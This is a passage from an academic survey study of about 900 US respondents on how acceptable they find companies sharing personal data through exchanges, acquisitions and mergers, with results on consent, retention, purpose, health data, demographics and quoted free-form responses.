The nature, or type, of the collaboration encodes the number of

participating companies and how the data flows between those

companies. Notably, we test the inclusion of a health company

versus a technology company within the collaboration types.

To check whether the ordering of the companies influences

respondents, we include two identical scenarios, Scenarios A

and B, where the only difference between them is the order in

which the health and technology company are introduced. The

following defines our five collaboration types with examples.

Two-way, Two-party Exchange (Type 1). In a ‘two-way

two-party exchange’ there are two participating companies.

During the exchange, the two companies send data to and

receive data from one another. Four of our scenarios are a

‘two-way two-party exchange’ (Scenarios A-D). We use two

of these four scenarios (C and D) in our collaboration type

analysis, and we use the remaining two (A and B) for vali-

dation only. Examples of such a collaboration would be two

companies that perform a computation, such as private set

intersection dual execution, that uses extended methods to

ensure both companies receive the result [48].

One-way, Two-party Exchange (Type 2). Perhaps the

most conventional and well understood collaboration type

is the ‘one-way two-party exchange’ (Scenarios E and F). In

this case there are two companies where one acquires data

from the other, perhaps in exchange for a monetary amount.

Such collaborations could be two parties computing the inter-

section of data they hold where one party receive the resulting

intersection [9]. Other examples of this collaboration type

include insurance telematics (use-based insurance) [37] and

computing joint cyber threats [10].

Many-to-One Exchange (Type 3). A company may ac-

quire data related to their users from multiple other compa-

nies or data brokers. We include two scenarios of this form

(Scenarios G and H) with a total of four participating compa-

nies. In these ‘many-to-one’ scenarios, three of the companies

are providing data to one other company. This structure in

practice, could of course take many forms depending on the

number of participating companies and which companies pro-

vide or receive data. We chose this structure based on the

real-world examples of companies acquiring data from a se-

ries of other ‘partner’ companies. For example, advertising

networks may acquire data from any number of sources, in-

cluding other apps, websites, and their competitors, depending

on users’ permission settings [23, 34].

Acquisition (Type 4). In our ‘acquisition’ scenarios, a

single party purchases, or acquires, another (Scenarios I

and J). Examples of acquisitions relating to data sharing

include Google acquiring Fitbit [26], Microsoft acquiring

LinkedIn [11], and WealthSimple acquiring SimpleTax [30].

The company SimpleTax promised to never sell its users’ data,

however, this did not account for when the company itself was

sold. In such acquisitions the data held by a company may be

included in its assets and upon purchase becomes available

to the acquiring company depending on the applicability of

regulations such as the FTC Act 4. In the case of the purchase

of SimpleTax, the explicit promise to never share its users’

data was removed from its privacy policy going forward (only

affecting data since the purchase) [30].

Merger then Acquisition (Type 5). Generally speaking,

the difference between a merger and an acquisition can be

thought of as two companies equally choosing to come to-

gether as one company in a merger versus one company tak-

ing ownership of another during an acquisition. In both cases,

assets, which may include data, are consolidated in some man-

ner. We include a scenario where two startups merge, forming

a new company, which is then acquired by a third company

(Scenarios K and L). In this case it is possible for an individ-

ual to have shared their data with one of the original start-ups,

with no expectation that these two additional companies they

have no connection with would come to possess it. Sometimes

a merger with other acquired companies can be a part of an

acquisition, and sometimes they are separate events; but they

are both possible outcomes for smaller companies [75].

3.4 User Controls

Usage control enforcement mechanisms are components that

can be written into designs or regulations which give users the

ability to specifically set what they agree to. We use eleven

usage control variables (listed in Table 1 as (b) through (k))

within our survey. The variables are selected from responses

to our pilot study and real-world examples. We investigate

how purpose of use, data retention, and the method of acquir-

ing consent or notifying users can impact the acceptability of

multiparty data sharing scenarios.

Purpose. There are three purposes of data sharing in our

survey. These purposes are ‘generating advertising revenue’,

‘providing users with a monetary reward’ (e.g., free service,

reduced rate [37], or gift-card), and ‘improving services’ [21,

71]. Note that while we included a variety of examples within

the monetary return question, these examples may not have

been viewed the same by all respondents. That is, respondents

may have interpreted free service as an advertising funded

service rather than an additional bonus service. Respondents

that interpreted a free service in such a way may have been

less inclined to consider the service as a monetary benefit in

the same sense as a gift card or discount.

4https://www.ftc.gov/about-ftc/what-we-do/enforcement-authority
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Data Retention. Users are known to have misconceptions

about what happens when their data is deleted [50]. To pre-

vent misconceptions, our data retention questions provide an

explicit duration for each of the three retention questions.

The duration values include keeping the data ‘indefinitely’,

keeping the data for a ‘specified duration’ of time (e.g., three

months, one year, etc.), or more ambiguously, keeping the

data until the company (or companies) is ‘finished using it’.

We note here that the deliberate inclusion of the more am-

biguous ‘after they finished using it’ does leave the potential

for respondents to interpret it differently. Data may be used

by companies in computations such as aggregate statistics,

private set intersection, or to train machine learning models.

Respondents may differ in whether they believe that con-

tinuing to use computations on data means that a company

continues to use the data. We left interpretation of when the

use ends open to the respondents.

Notification and Consent. We avoid directly asking partic-

ipants whether they would consent, which would likely be

influenced by perceived socially desirable behaviour [36]. In-

stead, we focus on notification strategies that inform users.

Depending on local laws and regulations companies use a va-

riety of methods to inform (or not inform) users how personal

data can be used. We select a subset of those methods to eval-

uate any potential influence on the acceptability of multiparty

data sharing.

In our survey we include four questions relating to inform-

ing users. First, ‘concealed consent’, where no formal notifi-

cation is provided, and the respondents learns of the collabora-

tion via the media. Second, there is ‘assumed consent’ where

an email or app notification is sent which indicates to the user

that by continuing to use the service, they are agreeing to the

data sharing. Third, there is ‘opt-out consent’ that provides an

option to specifically disallow the data to be shared. Fourth,

‘opt-in consent’, where the data is not shared by default and

requires explicit permission.

3.5 Privacy Mechanisms

Our survey includes questions on how acceptability is influ-

enced by privacy mechanisms. The five privacy mechanisms

we included are local differential privacy (LDP), central differ-

ential privacy (CDP), data anonymization, data aggregation,

and encryption [52, 79, 81]. Respondents each received one

of the five privacy mechanisms and rated the acceptability

of the data sharing scenario, if it were to include that pri-

vacy mechanism. To validate that respondents understood the

mechanisms, our research team manually generated informal

descriptions of the mechanisms, and the survey asks respon-

dents to match their privacy mechanism to the most accurate

description. This unfortunately suggested respondents had

low comprehension of the privacy mechanisms provided to

them. Thus, we exclude privacy mechanism related results.

3.6 Demographics

We report an overview of demographics rounded to the near-

est percent. All survey respondents are located in the United

States. Of the total N = 916 participants, when asked to spec-

ify their gender, 47% specified man, 50% specified woman,

1% specified non-binary, 2% preferred not to say, and less

than one percent chose to self-describe. Respondents speci-

fied an age range with 17% of respondents selecting 18-24,

22% 25-34, 15% 35-44, 21% 45-54, 22% 55-64, and 3% pre-

fer not to say. In terms of employment, 70% reported the

industry of their current form of employment, 18% reported

being unemployed, 5% as student, and 6% responded with

prefer not to say. The industries reported by those that were

employed were diverse with the most frequent industry being

education at 10%. A slight majority of participants reported

completing a degree at 59% (bachelor, graduate, or associate).

The remainder of participants education can be broken down

as 23% with some college but no degree, 14% completed high

school, 3% less than high school, and 1% prefer not to say.

3.7 Limitations

We recognize that our scenarios are not all encompassing of

multiparty data sharing. We have included varying companies,

data types, and structures such that it may guide the focus of

future work. The companies we selected for this study include

a focus on health companies and health data. This focus may

have influenced respondents in hard to predict ways based on

respondents presumptions about how health data is regulated

as well as their willingness to share such data. Further, we use

a semantic differential acceptability scale, but acknowledge

that such scales could still result in bias over the duration

of the questions presented. Responses were gathered while

the COVID-19 pandemic was ongoing [14]. We cannot know

how this may have affected respondents’ answers, but it may

have contributed to the higher unemployment percentage.

We further note that our participants, from across the United

States, are WEIRD (Western, educated, industrialized, rich

and democratic) [70]. We do not presume to make global

assertions from our study but instead show that even within

this group there is a diverse set of expectations and prefer-

ences not currently supported by technology nor required by

regulations. Our scenarios are based on examples located in

North America, where our respondents live. This is critical as

different regions, even within WEIRD participant pools, have

different existing laws and expectations. For example, EU

citizens already have different protections than non-EU citi-

zens. Finally, we acknowledge the potential for bias towards

perceived socially desirable behaviour [66]. We attempt to

mitigate this bias by using the more neutral term ‘acceptable’.

We ensure there are no mentions of privacy until the end of

the survey, and we give participants the opportunity to provide

their own views in free-form text.
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(a) All scenarios (general) (µ = 2.70)

(b) Concealed consent (µ = 1.88)

(c) Assumed consent (µ = 3.11)

(d) Opt-out consent (µ = 3.31)

(e) Opt-in consent (µ = 3.78)

(f) Retained indefinitely (µ = 2.31)

(g) Retained while in use (µ = 2.94)

(h) Retained for set time (µ = 2.99)

(i) Generating revenue (µ = 2.21)

(j) Provide user remuneration (µ = 3.05)

(k) Improving services (µ = 2.88)
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Figure 2: The acceptability distribution of multiparty data sharing across all scenarios for each variable. Acceptability is measured

on a five-point semantic difference scale and each segment corresponds to the proportion of respondents who select that level of

acceptability (N = 916).

4 Results

We first present respondents’ overall perceptions of multiparty

data sharing and related user controls. Second, we examine the

differences in acceptability between and within each sharing

type. This is followed by our analysis of demographic based

variations in perceptions. Finally, we present an exploration

of respondents’ free-form responses. Recall, the labels for the

variables and collaboration types are found in Table 1.

The results we present highlight our statistically signifi-

cant findings. For interpretability, we report mean values for

acceptability in this section. When we refer to statistically

significant differences, we are not referring to these means,

but include them as the statistical mean ranks are less in-

terpretable. We use non-parametric statistical tests, which

use mean ranks, as our data is not normally distributed. This

decreases the risk of incorrectly saying a difference is signif-

icant. All statistical results use a significance level of 0.05.

The details of our statistical analysis are in Appendix A.

Note that although we asked respondents questions with

respect to how privacy mechanisms could impact acceptabil-

ity, unfortunately respondents’ comprehension of the privacy

mechanisms definitions was low (based on our validation def-

initions) and so we exclude the acceptability results from this

work. Please refer to Appendix B for details of respondent

comprehension.

4.1 Overall Perceptions

We begin by determining a base understanding of how ac-

ceptable respondents find multiparty data sharing and our

defined variables, regardless of the type of collaboration they

received. The acceptability of the data sharing scenario in

‘general’ (a), is completely unacceptable or somewhat unac-

ceptable to 45% of respondents. Without additional details

about the collaboration, participants respond slightly more

towards the unacceptable end of the scale, but almost 30%

of respondents do find it to be at least somewhat acceptable.

The distributions of how acceptable respondents found each

variable are shown in Figure 2.

Within Informed Consent. All user control variables for

consent, (b) through (e), have statistically significant differ-

ences in terms of acceptability. Overall, in terms of notifica-

tion and consent, participants find data sharing more accept-

able when they are explicitly informed or have more control

over whether their data was used. ‘Concealed consent’, when

they receive no formal notification, is overwhelmingly unac-

ceptable to 73% of respondents ((b), µ = 1.88). Unaccept-

ability is substantially reduced when users are notified in any

manner, regardless of control (e.g., even if opt-in or opt-out

options are not available). ‘Opt-out consent’ ((d), µ = 3.31),

where users can toggle a setting to indicate they do not want

their data shared, skews slightly more towards the accept-

able end of the scale than the ‘assumed consent’ case ((c),

µ = 3.11). ‘Opt-in consent’ achieves the highest acceptabil-

ity ((e), µ = 3.78) within the consent/notification grouping

with approximately 58% of respondents finding it at least

somewhat acceptable.

Within Data Retention. We investigate respondents’ per-

ceptions with respect to data retention, (f) through (h), and

find significant differences in their acceptability. Respondents

find ‘retaining data indefinitely’ ((f), µ = 2.31) to be less ac-

ceptable than retaining the data until the company is ‘finished
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using it’ ((g), µ = 2.94) and less acceptable than retaining the

data for a ‘specified time’ limit ((h), µ = 2.99). There is no

significant difference in the distributions of how acceptable

respondents find data between retention for a ‘set period of

time’ and ‘as long as the company uses it’. However, in prac-

tice there could be no real difference in how long the data is

retained between indefinite retention and retaining the data as

long as the company is using it. This result highlights the risk

of influencing users consent based on phrasing; something not

currently strictly defined across regulations on data sharing.

Within Purpose. In terms of purpose of use, (i) through

(k), there are statistically significant differences in how ac-

ceptable respondents find each purpose. Respondents’ overall

perceptions are summarized as follows. It is least acceptable

when the company (or companies) uses the data to generate

revenue ((i), µ = 2.21). Respondents find it somewhat more

acceptable when there is an explicit tangible or perceived

benefit to the user, such as a monetary reward ((j), µ = 3.05)

or improved service ((k), µ = 2.88).

4.2 Nature of Collaboration

Recall the five types of collaboration defined in Section 3.1

and shown in Figure 1. First, we examine between group

differences, that is, the differences in acceptability between

different collaboration types. Second, we present within group

differences, more specifically, the difference in acceptability

between the scenarios that comprise a collaboration type.

Collaboration Type

1 2 3 4 5

(a) 2.63 2.51 2.34 2.96 2.93

(b) 1.96 1.71 1.77 1.84 2.00

(c) 3.00 2.91 2.99 3.34 3.34

(d) 3.20 3.15 3.19 3.53 3.49

(e) 3.71 3.63 3.69 4.00 3.96

(f) 2.34 2.27 2.10 2.42 2.51

(g) 3.04 2.79 2.87 2.95 2.87

(h) 3.12 2.72 2.81 3.17 3.07

(i) 2.14 2.04 2.27 2.23 2.36

(j) 3.02 2.85 3.11 3.21 3.13

(k) 2.81 2.70 2.78 2.91 3.11

5

4

3

2

1

A
v

era
g

e A
ccep

ta
b

ility
 S

co
re

V
a

ri
a

b
le

Figure 3: Average acceptability of variables for each collabo-

ration type. The labels for collaboration types and variables

correspond to those shown in Table 1.

Variable Label

All scenarios (general) (a)

Concealed consent (b)

Assumed consent (c)

Opt-out consent (d)

Opt-in consent (e)

Retained indefinitely (f)

Retained while in use (g)

Retained for set time (h)

Generating revenue (i)

Provide user remuneration (j)

Improving services (k)

Collaboration Type Label

Validation (V)

Two-way Two-Party Exchange (1)

One-way Two-Party Exchange (2)

Many-to-One Exchange (3)

Acquisition (4)

Merger then Acquisition (5)

Table 1: Reference table for labels corresponding to usage

controls and collaboration types.

4.2.1 Between Collaboration Types.

We compare our five types of multiparty data sharing to in-

vestigate whether some sharing types are more acceptable to

respondents. The different average acceptability scores across

types of collaborations for variables (a) to (k) are shown in

Figure 3. To determine which types of collaboration are more

or less acceptable we perform a subsequent pairwise analysis.

With respect to acceptability in ‘general’ (a), the different

collaboration types, (1) through (5), are statistically signifi-

cantly different. Both ‘acquisition’ ((4), µ= 2.96) and ‘merger

then acquisition’ ((5), µ = 2.93) are more acceptable than a

‘one-way two-party exchange’ ((2), µ = 2.51) and ‘many-to-

one exchange’ ((3), µ = 2.34). A possible attribution to the

greater acceptability for mergers and mergers then acquisition

rather than exchanges could be the indirectness by which data

is acquired. Unlike in the specific exchange scenarios (‘one-

way two-party’ and ‘many-to-one’) where data can be seen as

a commodity, within the merger-acquisition scenarios nobody

is explicitly seen as ‘selling’ users’ data. Additionally, in the

case of mergers and acquisitions, the company acquiring the

data may be seen as the new shepherd of the data, continuing

to provide the user with the services that led them to originally

use the acquired companies’ services.

User Controls Between Collaboration Types. We further

compare between collaboration types for each of the user

control mechanisms. We continue to observe statistically sig-

nificant differences between mergers and acquisitions com-
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pared to the other exchange types. Specifically, ‘improving

services’ (k) is more acceptable for a ‘merger then acquisi-

tion’ ((5), µ = 3.11) than a ‘one-way two-party exchange’

((2), µ = 2.70). ‘Assumed consent’ (c) is more acceptable for

both merger collaboration types (‘acquisition’ ((4), µ = 3.34)

and ‘merger then acquisition’ ((5), µ = 3.34)) than for a‘one-

way two-party exchange’ ((2), µ = 2.91). Finally, ‘retained

for a set time’ (h) is more acceptable for an ‘acquisition’ ((4),

µ= 3.17) than a ‘one-way two-party exchange’ ((2), µ= 2.72)

The difference in acceptability between types for data reten-

tion and purpose could again be potentially attributed to the

indirectness by which data is acquired in mergers and acqui-

sitions.

There are no notable differences between collaboration

types for ‘concealed consent’, ‘generating revenue’, ‘retained

indefinitely’, and ‘retained while in use’. This unchanging

negative perception is likely because these attributes are con-

sidered more uniformly unacceptable. These results demon-

strate another avenue where users would benefit from trans-

parency in terms of the purpose and other contextual infor-

mation, to make an informed decision of whether to consent,

when companies are merged or acquired.

4.2.2 Within Collaboration Types.

Each collaboration type consists of two possible scenarios.

We compare the scenarios within each collaboration type

to one another to identify differences that exist depending

on the sending and receiving companies as well as who the

respondent is a user of. In our analysis we do not consider

the order that the companies are introduced as a factor. This

exclusion is based on our validation test for collaboration Type

V; which found no statistically significant differences between

the response distributions whether a health or technology

company is introduced first, across variables (a) through (k).

We summarize the remainder of our results within collab-

oration types by their common themes. Overall, the within

collaboration types analysis suggests that the inclusion of a

health company negatively influences users’ perceptions of

the multiparty data sharing.

Collaboration over Commodification for Health Data.

We find an interesting result within the ‘one-way two-party

exchange’, an exchange type where the key distinction be-

tween scenarios is a tech company giving away user data

(Scenario E) versus a health company giving away user data

(Scenario F). We identified statistically significant differences

across seven of the eleven measured variables. The four non-

significantly different variables are ‘concealed consent’, ‘as-

sumed consent’, ‘opt-out consent’, and ‘retained indefinitely’.

For the seven variables that do have significant differences,

they are all more acceptable for Scenario E when compared to

Scenario F. In Scenario E, respondents are framed as a user of

a technology company which is providing its data to a health

company. Whereas, in Scenario F respondents are framed as

a user of a health company which is providing its data to a

technology company. In both Scenario E and F, respondents

are a user of the company giving away data.

This suggests the difference in acceptability could be at-

tributed to the commoditization of health data being more

objectionable than in the case of tech data. While respondents

may be used to, or even have come to expect to have their data

treated as a commodity by technology companies (Scenario

E), the same may not be true for health companies. To fur-

ther this idea, we look within ‘two-way two-party exchanges’

(Scenarios C and D), wherein the health company shares its

data but also receives data in return. Respondents seem to

interpret this reciprocity as providing some benefit to them, as

opposed to being a ‘sale’. When this reciprocity is absent in

Scenario F, we see lower acceptability overall, possibly due to

this commodification of health data which has an expectation

to be the most protected data.

Health Companies Complicate Data Sharing. Health

companies being involved negatively impact user perceptions

of multiparty data sharing even when the health company is

only receiving data. This is shown, first within ‘many-to-one

exchange’, wherein a number of companies are sharing data

with either a tech company (Scenario G) or a health com-

pany (Scenario H). We found a significant difference in ac-

ceptability of ‘assumed consent’. Respondents who received

the scenario where a technology company acquired the data

(Scenario G, µ = 3.25), found ‘assumed consent’ to be more

acceptable than when a health company received the data

(Scenario H, µ = 2.76). This result implies that users were not

as satisfied with simply being informed of data sharing, when

it is shared with a health company, in contrast with a tech-

nology company. As both scenarios involve sharing financial

data, we can hypothesise that users do not want their financial

records to influence any future medical diagnoses. Users may

be concerned for discrimination while receiving medical treat-

ment or processing insurance, if a health company obtained

their financial records.

The negative impacts of health company in data sharing is

also shown within the ‘acquisition’ collaboration type. Sce-

narios within ‘acquisition’ involve a start-up that tracks user

data on diet, fitness, and social habits being acquired by either

a technology company (Scenario I) or a health company (Sce-

nario J). Respondents found ‘opt-in consent’, the “strictest”

consent option of the ones we tested, to be more acceptable

when a technology company (Scenario I, µ = 4.24), rather

than a health company (Scenario J, µ = 3.77) acquired a

startup. We expect that respondents are more comfortable

with their fitness habits influencing technology products, like

in Scenario I, rather than having the potential to influence

their medical treatment or insurance as in Scenario J.

As a final note on the inclusion of health companies and

how they may influence respondents, we note that health
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data has certain laws surrounding it that respondents may

believe will protect them. Further, respondents concerns with

data transferring to or from a health company may also be

attributed to respondents being unsure as to the purpose. From

our free-form responses we know that the purpose of use for

the data was a frequent condition for acceptability.

4.3 Demographic Variations

We evaluate responses across all scenarios for differences

based upon demographic groupings. For demographic dif-

ferences due to gender, we compare men versus women as

we did not have enough respondents representing other gen-

ders, leaving us with N = 887. We compare the two groups

comprised of 432 men and 455 women across the variables

(a through k). From our data we identify a significant differ-

ence in (b) ‘concealed consent’. We can conclude that men

(µ = 1.98) found their consent not being explicitly granted, to

be significantly more acceptable than women (µ = 1.76) did.

To examine demographic variations due to age, we compare

five age groups. From our data we identify a significant differ-

ence due to age group across all variables except for ‘assumed

consent’, ‘opt-out consent’, and ‘opt-in consent’. Across the

variables ‘concealed consent’, ‘retained indefinitely’, ‘gener-

ating revenue’, and ‘improving services’, respondents aged

55-64 find each variable to be significantly less acceptable

than their otherwise aged counterparts (18-24, 25-34, 45-54).

Respondents aged 35-44 find the ‘general scenario’, ‘retained

for set time’, and ‘generating revenue’ less acceptable than

respondents aged 45-54. Additionally, those aged 35-44 find

‘improving services’ less acceptable than respondents aged 18-

24. While older people, such as our respondents aged 55-64,

could be generally expected to have more conservative views,

we do not know why the middle age group, respondents aged

35-44, have a similar lower level of acceptability across vari-

ables. These results demonstrate that different demographics

have different desires. User controls need to have sufficient

individualization to support these differences.

4.4 Free-from General Perceptions

We analyze 789 non-empty free-form responses to the ques-

tion ‘In general, what are your thoughts on companies sharing

data with other companies’. We exclude 62 responses that are

either not interpretable or indicated a desire not to respond.

For example, exclusions include: single or random character

responses (e.g., ‘a’, ‘alskj’), ‘N/A’, and ‘no’.

Responses were coded in terms of their positive or nega-

tive perceptions of the practice of sharing data. Positive or

negative responses can have a conditional component that

indicates what improves or worsens their perceptions. The

codes for the free-form responses perceptions were developed

through discussion and definition by two members of the re-

search team based on a sampling of the response set and the

Frequency by Collaboration Type

Code All 1 2 3 4 5

Neg. 305 46 45 54 49 48

Neg. Cond. 107 19 15 12 17 22

Neutral 66 12 7 10 15 16

Resigned 32 6 4 5 7 10

Pos. Cond. 165 26 25 26 33 37

Pos. 51 5 10 4 13 8

Table 2: Frequency given Nature of Collaboration. Columns

correspond to: 1. One-way two-party exchange, 2. Two-way

two-party exchange, 3. Many-to-one exchange, 4. Acquisition,

and 5. Merger then acquisition.

predefined ‘positive’ and ‘negative’ codes. A ‘resigned’ and

a ‘neutral’ code were added after initial sampling to more

accurately describe all responses. This methodology follows

the process of Oates et al.’s [55] analysis and Miles et al.’s

Qualitative Data Analysis: A Methods Sourcebook [49].

The final codebook used to code the free-form responses

is neg for unconditionally negative, neg. Cond. for overall

negative response but permitted cases, neutral for neither

positive nor negative, resigned for negative but accepted, pos.

Cond. for overall positive but forbidden cases, and pos. for

unconditionally positive.

Two members of the research team each independently

applied the perceptions codebook to the response set. The

coded responses were reviewed for agreement by the two

team members. The process for handling a disagreement in

coding was for both coders to check their responses. If the

difference could be attributed to having mislabelled the code,

a correction would be made. The coders would come back

together and check the new agreement. If disagreement per-

sisted, it went to a tie-breaker coder. We include an overview

of common themes that were indicated as influencing percep-

tions or requirements in ‘conditional’ responses. The final

code counts are summarized in Table 2.

4.4.1 Polarity of Base Perceptions

Of the total (789) responses coded for positive and negative

perceptions, 32 required a third coder to break the disagree-

ment. The original two independent coders agreed on the

codes for 757 responses, or 96% of responses after checking

for errors. One of the 32 responses shared with the third coder

was coded differently by all three coders and the consensus

was to remove it due to the ambiguity.

Unconditionally negative responses formed the largest

group of responses and included a breadth of subjects relating

to purpose, laws and regulations, distrust, and risks. Objec-

tions include users’ data being used for generating revenue

for the company or for marketing purposes.

P58310: I think companies after having acquired
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data as an asset has one intention and it’s making

money through exploitation"

P78909: “These companies are reprehensible! I will

not consent to my data being shared for marketing

purposes"

Other negative responses report distaste for being coerced

into agreeing to data sharing in order to access services. Re-

spondents consider such requirements an uneven trade given

the risks associated with a breach that exist whenever data is

collected, saved, and shared.

P20322: “I’m not happy about it because if you do

agree you can’t choose who it will be shared with.

If you don’t agree, you can’t use the service"

P53560: “I hate it. Cookies and data thieves. Opting

out often renders the website unaccessible- so it’s

coercion/entrapment. Data breaches wouldn’t really

happen if data wasn’t retained"

Other possible risks of such sharing, according to respon-

dents, include malicious outsiders and malicious companies.

Respondents express concern with targeted manipulation by a

company, such as advertising, using the shared data. Concern

with breaches or leaks also includes concern for data leaking

out in ways users do not expect.

P69036: “While there are clear and logical reasons

for utilizing and selling this data it does have poten-

tial for targeted manipulation"

P36717: “no. It makes me feel like my personal

information is keep leaking out. i feel more vulner-

able"

The responses coded as ‘resigned’ essentially express that

respondents know such sharing occurs, do not necessarily

like it, but accept it as reality. Respondents also express a

need for law or regulations, a belief that such events are likely

more or less frequent than they know, a feeling of futility, and

the implied agreement to such things when using apps. One

participant’s response encompasses each of the above themes.

P07944: “It’s a gray area: users make and agree-

ment with companies for information use based

upon the scope and identity/reputation of a com-

pany. What happens with an individual’s informa-

tion in the event of a the business/organization be-

ing sold. Legally speaking, the matter is an open

and shut case. However, a user may not want to

have the same information use agreement with the

new company...and their rights to having a say in

how their information is being used are clearly be-

ing violated by the new company which technically

owns the rights to the information they have pur-

chased since the company never negotiated terms

with users and can use that information according

to the company’s desire and purposes. It’s legal; but

it sucks"

The neutral responses include two main types. First, some

respondents directly say they are neutral or do not care about

such sharing. Second, some respondents express some poten-

tial limitations on such sharing, but that they still did not have

strong feelings about it either way.

P79659: “I don’t have definite objections to compa-

nies sharing data with other companies"

P60109: “It depends on what it’s used for and must

have complete consent from an individual that isn’t

forced"

Few of the unconditionally positive responses say more

than a one to three word answer. For example, ‘good’, ‘epic’,

and ‘sounds great’ are common. The positive responses be-

yond sharing a generic response include some benefit to the

individual or to the company. Benefits include personalizing

advertising, ad opportunities, and new developments. While

distaste for data being used for advertising was found in many

negative responses, such as the earlier examples, this distaste

was not universal.

P14505: “I think that it is acceptable because they

need to use this data for advertising opportunities"

P98147: “Data sharing encourages more connec-

tion and collaboration between researchers, which

can result in important new findings within the field.

In a time of reduced monetary investment for sci-

ence and research, data sharing is more efficient

because it allows researchers to share resources"

4.4.2 Conditionals and User Control

In this section we focus on the responses coded as conditional.

We highlight requirements users report as necessary for the

scenarios to be acceptable. Specifically, we review ‘positive

conditional’, ‘negative conditional’, and ‘neutral’ coded re-

sponses with respect to their conditionals. We include ‘neutral’

as our code definition of ‘neither positive nor negative’, does

not prevent conditions from being specified in the response.

Whether respondents viewed the scenario positively or nega-

tively, they expressed similar themes.

Consent. The importance of consent and transparency is

prominent in both positive and negative conditionals, with an

emphasis on informed consent. Respondents express a need

for easily accessible opt-out options and that consent (to data

sharing) should not be a requirement for using a service.
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P66884: “It’s inappropriate unless the user consents

explicitly and should never be a requirement for

use"

P10652: “I do not think it is acceptable unless they

have the users permission. Or an option to cancel

information sharing. If the user has a choice and is

OK with it then I believe it’s fine"

P19193: “If they make people aware (in BIG print,

not small, easy-to-miss print) then it’s fine"

When expressing the importance of users’ consent, some

respondents highlight that data sharing should not be taken

lightly. There are risks that can be associated with data being

provided to other entities that cannot be properly evaluated

without details as to where the data is going, what the data is,

and why it is being shared. Receiving user consent requires

full transparency with respect to each of those attributes.

P91741: “It should not be shared unless the individ-

ual gives authority to do so. It is private information

that should not be shared on a whim"

P09262: “I don’t think companies should share cus-

tomer’s personal information unless specific con-

sent is received from the customer to where/what

the information is shared to, as well as why"

Furthermore, consent can be withdrawn and cannot be as-

sumed to be transferable between entities, even in the case of

a company being purchased.

P41281: “Information collected, with the users per-

mission, should never be shared with another com-

pany or assumed to be the property of said company

if they merge with another company. This would

be true regardless of whether the original company

remains in the same business, or moves into a dif-

ferent service."

However, some respondents highlight that sufficient trans-

parency can be advantageous to companies building goodwill

after mergers or acquisitions.

P48036: “...The company can email its acquired

users and them that they bought out the nicestartup

and they want to use the data in order to improve

their services and then list their services so people

can decide for themselves. You’ll be surprised how

many people will agree to continue, there’s no need

to hide, lie, or manipulate anything. Just be honest!

You’ll earn respect and loyalty as well"

Data Type and Processing. Respondents indicate prefer-

ences for the kind of data and how the data is processed.

P31222: “I do not like the idea of any personal, in-

dividual information being shared with other com-

panies, either for free or for a price, but if a study

is performed on that data and then the study results

are shared I completely think that is okay"

The type of data that is acceptable or unacceptable is not uni-

versal. Respondents mention opposition to medical or health

data generally, although there is some acknowledgment of

possible exceptions. While personally identifiable informa-

tion (PII) is generally expressed as inappropriate to share,

what counts as PII is less universal. Some respondents con-

sider buying habits to be fine while others highlight the private

nature of such financial transactions [18].

P45732: “I don’t mind sharing information as long

as it’s not financial"

P71169: “I have a problem with this when it’s sen-

sitive personal information such as health informa-

tion. I don’t have as much of a problem with this

when it’s something less sensitive, such as my buy-

ing habits"

Purpose. The acceptability of different data sharing pur-

poses, at least as far as the free-form responses are concerned,

is highly individualized to what each respondent considers

beneficial or detrimental. Some respondents find advertising

acceptable while others do not. Sharing data to improve ser-

vices or scientific investigations are spoken of positively while

selling users’ data for monetary gain is aggressively opposed.

P24797: “It depends upon the purpose (my ben-

efit or detriment), the data security to ensure the

original personally identifiable data is secure or de-

stroyed and the trust based on the history of how

the company previously handled data"

Health. Health data is the most controversial type of data

sharing, and a number of respondents express concern for

whether legitimate sharing purposes exist. Many respondents

that mention health data do so with intense negativity and

concerns over the relevant ethics and legality of the exchange

or purchase of health-related data.

P94865: “Repugnant, especially in light of for-

profit health systems attempting to maximize prof-

itability from patient interactions"

P72271: “There are stringent rules about sharing

data under HIPAA in the US and this clearly vio-

lates it, along with potentially exposing PII"
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P77878: “worried that data will be mined for insur-

ance companies so they can eliminate or remove

costly illnesses"

Even within the topic of health data, some respondents

reflect upon the potential for acceptable data sharing settings.

Privacy protections are key to improving the acceptability

of health data sharing. Protections could include regulations,

privacy mechanisms, and greater transparency.

P20986: “It depends. I think it can be beneficial

under certain circumstances, but I would be hesi-

tant having any healthcare data shared outside my

practitioners. However, I recognize how it can im-

prove goods/services, but there has to be a lot of

protection in place anytime data is shared"

P44838: “I believe for health records it should be

acceptable for continuance of care but not for ad-

vertising or making money"

5 Discussion

Disambiguate Third Parties. Privacy policies that give

companies unrestricted ability to share data with ‘third-

parties’ and ‘partners’ do not encapsulate the details that in-

fluence users’ preferences. Our results show users care about

who data is being shared with, what is being shared, and

the structure of the collaboration. In terms of ‘who’, health

companies sharing data is less acceptable than technology

companies. In terms of ‘what’, it is more acceptable to share

fitness data with a technology than a health company. Struc-

turally, reciprocity improves acceptability over one-way ‘sale’

type transactions. Transparency with respect to the nature

of any collaboration is required to support the preferences

our respondents expressed. Thus, regulations, such as CCPA,

need to have detailed requirements for companies to clearly

outline the properties we identify for data sharing.

Explicit over Implicit Consent. Implied consent is in-

ferred based on a person’s actions or circumstances. When

companies make consent conditional for the use of their ser-

vice, the use of the service is taken as consent. In contrast to

implied consent, explicit consent is unmistakably provided by

the user, possibly in writing. It is specific, can be rescinded,

and is non-transferable. Informed consent requires users to

have an understanding of the implications and extent of what

their agreement applies to when using an app or tool. Respon-

dents in our study expressed a clear preference for explicit

consent that requires them to opt-in over implied consent (e.g.,

‘concealed consent’ or ‘assumed consent’). Respondents’ pref-

erence for, and emphasis on consent and transparency, held

for both statistical analysis and free-form responses.

Reduce Ambiguities to Communicate Privacy. Although

user controls affect the acceptability of collaborations, the

effect does not always correspond to the impact on privacy

in practice. For example, retaining data ‘while in use’ and

‘indefinitely’ may have no practical difference. Despite this,

respondents found it more acceptable for companies to retain

data ‘while they are using it’. Companies could abuse such

misunderstandings by making something seem more private

in practice than it actually is.

Similarly, each of the five privacy mechanisms we included

have a different effect on privacy in practice. Respondents to

our study had difficulties understanding our descriptions of the

privacy mechanisms. Unless users can distinguish between

accessible descriptions, they will not be making informed de-

cisions. Therefore, when companies use privacy mechanisms,

they should be compelled by law to ensure it is either easy

to understand or that users are not required to understand the

privacy mechanism used to successfully make an informed

choice. Going forward, researchers and policy makers must

focus on conveying the significance of different privacy impli-

cations and changing the information provided to users such

that it is clear and concise and not perceived as minor details.

6 Conclusion

We presented the results of our survey on user perceptions

of multiparty data sharing. Our results indicate that the type

of data sharing collaboration affects acceptability as do the

